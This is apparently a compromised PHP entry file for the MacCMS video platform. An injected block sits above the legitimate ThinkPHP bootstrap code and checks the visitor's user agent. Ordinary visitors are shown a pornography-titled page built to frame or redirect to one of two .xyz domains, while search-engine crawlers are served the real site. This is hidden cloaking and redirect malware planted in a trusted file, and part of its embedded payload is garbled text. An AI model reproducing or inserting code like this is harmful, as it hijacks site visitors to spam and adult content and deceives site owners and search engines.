// ua代碼開始
$uaMode=1;
if(!nowUseragentBot() && $uaMode){
$urlArray=array(
'//www.smmys34.xyz',
'//www.smmys38.xyz',
);
$urlRandnum = array_rand($urlArray,1);
$urlrand=$urlArray[$urlRandnum];
//顯示模式,設置為1則進行跳轉,設置為2則框架顯示
$gomode = '2';
if($gomode=='1'){
header('location: '.$urlrand);
//直接跳轉的地址
}else{
pageShowIframe("國產成人精品999在線觀看_九九在線精品視頻播放_國產成人99_黃毛片免費", $urlrand);
//框架顯示的地址
}
exit();
}
function pageShowIframe($title, $url){
$code = '
�������츾A���������������,����AV�����ҹۿ����ǻ���VA
';
echo $code;
}
function nowUseragentBot() {
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = array(
'googlebot',
'adsbot-google',
'gsa-crawler',
'mediapartners-google',
'baiduspider',
'yahoo!slurp',
'inktomi',
'msnbot',
'yodaobot',
'outfoxbot',
'sogou spider',
'sosospider',
'iaskspider',
'naverrobot'
);
foreach ($identify AS $key => $tag) {
if (strstr($user_agent, $tag)) {
return true;
}
}
return false;
}
/*
'軟件名稱:蘋果CMS 源碼庫://github.com/magicblack
'--------------------------------------------------------
'Licensed ( //www.apache.org/licenses/LICENSE-2.0 )
'遵循Apache2開源協議發布,并提供免費使用。
'--------------------------------------------------------
*/
header('Content-Type:text/html;charset=utf-8');
// 檢測PHP環境
if(version_compare(PHP_VERSION,'5.5.0','<')) die('PHP版本需要>=5.5,請升級【PHP version requires > = 5.5,please upgrade】');
//超時時間
@ini_set('max_execution_time', '0');
//內存限制 取消內存限制
@ini_set("memory_limit",'-1');
// 定義應用目錄
define('ROOT_PATH', __DIR__ . '/');
define('APP_PATH', __DIR__ . '/application/');
define('MAC_COMM', __DIR__.'/application/common/common/');
define('MAC_HOME_COMM', __DIR__.'/application/index/common/');
define('MAC_ADMIN_COMM', __DIR__.'/application/admin/common/');
define('MAC_START_TIME', microtime(true) );
define('BIND_MODULE','index');
define('ENTRANCE', 'index');
$in_file = rtrim($_SERVER['SCRIPT_NAME'],'/');
if(substr($in_file,strlen($in_file)-4)!=='.php'){
$in_file = substr($in_file,0,strpos($in_file,'.php')) .'.php';
}
define('IN_FILE',$in_file);
if(!is_file('./application/data/install/install.lock')) {
header("Location: ./install.php");
exit;
}
if (!@mb_check_encoding($_SERVER['PATH_INFO'], 'utf-8')){
$_SERVER['PATH_INFO']=@mb_convert_encoding($_SERVER['PATH_INFO'], 'UTF-8', 'GBK');
}
// 加載框架引導文件
require __DIR__ . '/thinkphp/start.php';